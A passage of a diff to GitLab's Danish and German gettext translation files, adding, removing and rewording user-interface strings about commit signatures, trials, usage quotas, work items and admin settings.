-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr ""
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -42271,6 +42972,9 @@ msgstr "Jobbet har ikke et trace."
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr "Jobbet er blevet annulleret"
@@ -42346,9 +43050,6 @@ msgstr "Jobbet venter på ressource: "
msgid "This job requires a manual action"
msgstr "Jobbet kræver en manuel handling"
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -42553,7 +43254,7 @@ msgstr "Brugeren er forfatteren af denne %{noteable}."
msgid "This variable can not be masked."
msgstr "Variablen kan ikke maskeres."
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -42995,6 +43696,11 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "To keep this project going, create a new issue"
msgstr ""
@@ -43211,7 +43917,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -43508,24 +44214,12 @@ msgstr "Opret en ny gruppe for at starte din GitLab Ultimate-prøveperiode."
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr "GÃ¥ tilbage til GitLab"
-
-msgid "Trials|Skip Trial"
-msgstr "Spring prøveperiode over"
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr "Opgrader %{groupName} til %{planName}"
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr "Du kan altid genoptage processen ved at vælge din avatar og vælge 'Start en Ultimate-prøveperiode'"
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr "Du kan anvende din prøveperiode på en ny gruppe eller en eksisterende gruppe."
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -43630,15 +44324,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
+msgid "Try it out now"
msgstr ""
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -43810,6 +44501,9 @@ msgstr "Kan ikke oprette forbindelse til Jira-instansen. Tjek venligst din konfi
msgid "Unable to create link to vulnerability"
msgstr "Kan ikke oprette link til sårbarhed"
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr "Kan ikke hente grenliste for projektet."
@@ -43852,6 +44546,9 @@ msgstr "Kan ikke indlæse diff'en. %{button_try_again}"
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -44032,6 +44729,9 @@ msgstr ""
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr "Fjern stjernemarkering"
@@ -44071,6 +44771,9 @@ msgstr ""
msgid "Unverified"
msgstr ""
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr ""
@@ -44140,6 +44843,9 @@ msgstr ""
msgid "UpdateProject|Could not set the default branch"
msgstr "Kunne ikke indstille standardgrenen"
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr "Nyt synlighedsniveau ikke tilladt!"
@@ -44302,15 +45008,9 @@ msgstr ""
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
@@ -44341,15 +45041,9 @@ msgstr "Pipelineartefakter og jobartefakter, oprettet med CI/CD."
msgid "UsageQuota|Pipelines"
msgstr ""
-msgid "UsageQuota|Purchase more storage"
-msgstr "Køb mere lager"
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr ""
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -44407,24 +45101,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr ""
@@ -44452,9 +45134,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr "Forbrug af ressourcer på tværs af dine projekter"
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -44473,15 +45152,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr ""
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr "Kunne ikke indlæse problemstillings- og sammenlægningsanmodningsdiagrammet. Opdater venligst siden for at prøve igen."
@@ -44638,6 +45311,9 @@ msgstr "Brug skabelon"
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr "Brug linket nedenunder for at bekræfte din e-mailadresse (%{email})"
@@ -44694,6 +45370,12 @@ msgstr "Brugeren %{current_user_username} er begyndt at efterligne %{username}"
msgid "User %{username} was successfully removed."
msgstr "Brugeren %{username} blev fjernet."
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr "Brugeren %{user} blev fjernet fra %{group}."
@@ -44868,9 +45550,6 @@ msgstr "(optaget)"
msgid "UserProfile|Activity"
msgstr "Aktivitet"
-msgid "UserProfile|Already reported for abuse"
-msgstr "Allerede rapporteret for misbrug"
-
msgid "UserProfile|Blocked user"
msgstr "Blokeret bruger"
@@ -44937,12 +45616,12 @@ msgstr "Projekter med stjerne"
msgid "UserProfile|Subscribe"
msgstr "Abonner"
+msgid "UserProfile|There are no projects available to be displayed here."
+msgstr ""
+
msgid "UserProfile|This user doesn't have any followers."
msgstr "Brugeren har ikke nogen følgere."
-msgid "UserProfile|This user doesn't have any personal projects"
-msgstr "Brugeren har ikke nogle personlige projekter"
-
msgid "UserProfile|This user has a private profile"
msgstr "Brugeren har en privat profil"
@@ -45108,10 +45787,7 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -45303,6 +45979,9 @@ msgstr ""
msgid "Verified"
msgstr "Verificeret"
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr ""
@@ -45315,9 +45994,6 @@ msgstr ""
msgid "Version"
msgstr "Version"
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -45387,6 +46063,9 @@ msgstr "Vis alle problemstillinger"
msgid "View all projects"
msgstr ""
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -45481,6 +46160,9 @@ msgstr "Vis log"
msgid "View logs"
msgstr "Vis logge"
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -45513,6 +46195,9 @@ msgstr[1] "Vis offentlige GPG-nøgler"
msgid "View replaced file @ "
msgstr "Vis erstattet fil @ "
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -45525,6 +46210,9 @@ msgstr ""
msgid "View the documentation"
msgstr "Vis dokumentationen"
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -45549,9 +46237,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr "Synlighed"
-
msgid "Visibility and access controls"
msgstr "Synlighed og adgangsstyringer"
@@ -46284,10 +46969,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr "Hændelser for pipeline"
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -46735,9 +47420,21 @@ msgstr "Igangværende arbejde (åbne og tildelte)"
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -46824,6 +47521,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -46833,7 +47533,7 @@ msgstr ""
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -46866,7 +47566,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -46920,6 +47620,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -46941,6 +47647,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -47045,6 +47757,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr "Du er ved at overføre styringen af din konto til gruppen %{group_name}. Handlingen kan IKKE gøres om, så du vil ikke være i stand til at få adgang til dine grupper og projekter uden for %{group_name} når overførslen er gennemført."
@@ -47177,9 +47892,6 @@ msgstr "Du kan også trykke på ⌘-Enter"
msgid "You can also star a label to make it a priority label."
msgstr "Du kan også stjernemarkere en etiket for at gøre det til en prioritetsetiket."
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr "Du kan også teste din %{gitlab_ci_yml} i %{lint_link_start}CI Lint%{lint_link_end}"
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr "Du kan også uploade eksisterende filer fra din computer ved at bruge instruktionerne nedenunder."
@@ -47270,6 +47982,9 @@ msgstr "Du kan invitere et nyt medlem til %{project_name}."
msgid "You can invite another group to %{project_name}."
msgstr "Du kan invitere en anden gruppe til %{project_name}."
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr "Du kan flytte grafen med piletasterne."
@@ -47309,9 +48024,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr "Du kan angive underretningsniveau pr. gruppe eller pr. projekt."
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr ""
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -47327,7 +48039,7 @@ msgstr "Du kan ikke tilgå den rå fil. Vent venligst et øjeblik."
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47420,7 +48132,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr "Du har ingen seneste søgninger"
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -47449,6 +48161,9 @@ msgid_plural "You have %{pendingMembersCount} pending members that need approval
msgstr[0] ""
msgstr[1] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -47566,6 +48281,9 @@ msgstr ""
msgid "You must provide a valid current password"
msgstr "Du skal angive en gyldig nuværende adgangskode"
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr "Du skal angive din nuværende adgangskode for at ændre den."
@@ -47719,8 +48437,10 @@ msgstr ""
msgid "You've rejected %{user}"
msgstr "Du har afvist %{user}"
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
+msgstr[1] ""
msgid "YouTube"
msgstr "YouTube"
@@ -47958,6 +48678,9 @@ msgstr "Din meddelelse her"
msgid "Your name"
msgstr "Dit navn"
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -47985,8 +48708,8 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr ""
-msgid "Your personal access token has expired"
-msgstr "Din personlige adgangstoken er udløbet"
+msgid "Your personal access tokens have expired"
+msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr "Din personlige adgangstoken vil udløbe om %{days_to_expire} dage eller mindre"
@@ -48062,6 +48785,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr "Dit brugernavn er %{username}."
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -48263,6 +48989,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -48499,10 +49228,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality hasn't changed."
+msgstr ""
+
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -48655,9 +49387,6 @@ msgstr "Ny"
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr ""
@@ -49142,9 +49871,6 @@ msgstr "er ikke"
msgid "is not a descendant of the Group owning the template"
msgstr ""
-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr "er ikke et gyldigt X509-certifikat."
@@ -49659,6 +50385,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr "skal være større end startdato"
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -49746,12 +50475,6 @@ msgstr "%{item}, %{nextItem}"
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr "%{item} og %{lastItem}"
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr "kun tilgængelig på topniveaugrupper."
@@ -50164,6 +50887,9 @@ msgstr "værdi for '%{storage}' skal være fra 0 til 100"
msgid "verify ownership"
msgstr "bekræft ejerskab"
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr "version %{versionIndex}"
diff --git a/locale/de/gitlab.po b/locale/de/gitlab.po
index 5730cf23003..605ba064277 100644
--- a/locale/de/gitlab.po
+++ b/locale/de/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: de\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:40\n"
+"PO-Revision-Date: 2023-01-10 06:44\n"
msgid " %{start} to %{end}"
msgstr " %{start} bis %{end}"
@@ -488,7 +488,7 @@ msgid "%{authorsName}'s thread"
msgstr "%{authorsName}s Unterhaltung"
msgid "%{author} requested to merge %{source_branch} %{copy_button} into %{target_branch} %{created_at}"
-msgstr "%{author} hat %{created_at} angefordert, %{source_branch} %{copy_button} in %{target_branch} zusammenzuführen"
+msgstr "%{author} schlägt %{created_at} vor, %{source_branch} %{copy_button} in %{target_branch} zu mergen."
msgid "%{board_target} not found"
msgstr "%{board_target} nicht gefunden"
@@ -541,7 +541,7 @@ msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr "%{completedWeight} von %{totalWeight} Gewichtung abgeschlossen"
msgid "%{completed} of %{total} issues closed"
-msgstr ""
+msgstr "%{completed} von %{total} Tickets geschlossen"
msgid "%{completed} of %{total} weight completed"
msgstr ""
@@ -750,6 +750,9 @@ msgstr "%{italic_start}Neue Funktionen%{italic_end} ist inaktiv und kann nicht a
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr "%{itemsCount} Tickets mit einem Limit von %{maxIssueCount}"
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr "%{labelStart}Tatsächliche Antwort:%{labelEnd} %{headers}"
@@ -822,6 +825,9 @@ msgstr "%{level_name} ist in einer %{group_level_name} -Gruppe nicht erlaubt."
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr "%{level_name} ist nicht zulässig, da das Fork-Quellprojekt eine geringere Sichtbarkeit hat."
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr "%{link_start}Entferne das %{draft_snippet} Präfix%{link_end} aus dem Titel, damit dieser Merge Request gemerged werden kann, wenn er bereit ist."
@@ -953,6 +959,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr "%{ref} kann nicht hinzugefügt werden: %{error}"
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] "%{releases} Release"
@@ -970,6 +982,11 @@ msgstr "%{reportType} erkannte %{totalStart}%{total}%{totalEnd} potentielle %{vu
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr "%{retryButtonStart}Versuche es erneut%{retryButtonEnd} oder %{newFileButtonStart}füge eine neue Datei hinzu%{newFileButtonEnd}."
@@ -1008,9 +1025,6 @@ msgid_plural "%{selectedProjectsCount} projects"
msgstr[0] "%{selectedProjectsCount} Projekt"
msgstr[1] "%{selectedProjectsCount} Projekte"
-msgid "%{size} %{unit}"
-msgstr "%{size} %{unit}"
-
msgid "%{size} GiB"
msgstr "%{size} GiB"
@@ -1116,11 +1130,6 @@ msgstr "%{template_project_id} ist unbekannt oder ungültig"
msgid "%{text} is available"
msgstr "%{text} ist verfügbar"
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr ""
@@ -1541,9 +1550,9 @@ msgstr[0] "1 Rolle"
msgstr[1] "%d Rollen"
msgid "1 user"
-msgid_plural "%{num} users"
-msgstr[0] "1 Benutzer(in)"
-msgstr[1] "%{num} Benutzer(innen)"
+msgid_plural "%d users"
+msgstr[0] ""
+msgstr[1] ""
msgid "1 week remaining"
msgid_plural "%d weeks remaining"
@@ -1768,6 +1777,9 @@ msgstr "Ein Rebase läuft bereits."
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr "Eine Anmeldung in dein Konto ging von der folgenden IP-Adresse aus: %{ip}"
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr ""
@@ -1912,9 +1924,6 @@ msgstr "AWS-Zugriffsschlüssel-ID (optional)"
msgid "AWS secret access key (Optional)"
msgstr "Geheimer AWS-Zugriffsschlüssel (optional)"
-msgid "AWS service error: %{error}"
-msgstr "AWS-Servicefehler: %{error}"
-
msgid "Abort"
msgstr "Abbrechen"
@@ -1963,9 +1972,6 @@ msgstr "Zugangs-Token"
msgid "Access denied for your LDAP account."
msgstr "Zugriff für dein LDAP-Konto verweigert."
-msgid "Access denied: %{error}"
-msgstr "Zugriff verweigert: %{error}"
-
msgid "Access expires"
msgstr "Zugriff läuft ab"
@@ -2099,7 +2105,7 @@ msgid "AccountValidation|In order to use free CI/CD minutes on shared runners, y
msgstr ""
msgid "AccountValidation|Learn more."
-msgstr ""
+msgstr "Mehr erfahren."
msgid "AccountValidation|Looks like you’ll need to validate your account to use free CI/CD minutes"
msgstr ""
@@ -2125,7 +2131,7 @@ msgstr "Aktionen"
msgid "Activate Service Desk"
msgstr "Service-Desk aktivieren"
-msgid "Activated on"
+msgid "Activated"
msgstr ""
msgid "Active"
@@ -2203,6 +2209,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr "Einen zusammenklappbaren Abschnitt hinzufügen"
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2581,15 +2590,18 @@ msgstr ""
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr ""
-
msgid "AdminArea|Blocked users"
msgstr ""
msgid "AdminArea|Bots"
msgstr "Bots"
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr ""
@@ -2615,10 +2627,10 @@ msgid "AdminArea|Instance OAuth applications"
msgstr ""
msgid "AdminArea|Latest groups"
-msgstr ""
+msgstr "Neueste Gruppen"
msgid "AdminArea|Latest projects"
-msgstr ""
+msgstr "Neueste Projekte"
msgid "AdminArea|Latest users"
msgstr ""
@@ -2671,9 +2683,18 @@ msgstr "Jobs stoppen"
msgid "AdminArea|Stopping jobs failed"
msgstr "Stoppen von Jobs ist fehlgeschlagen"
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr ""
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2701,6 +2722,12 @@ msgstr ""
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr "Fehler beim Laden der Statistik. Bitte versuche es erneut"
@@ -2755,6 +2782,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr "Auto-DevOps-Domain"
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -2824,6 +2854,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -2911,6 +2944,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -2998,9 +3034,6 @@ msgstr ""
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -3046,6 +3079,9 @@ msgstr ""
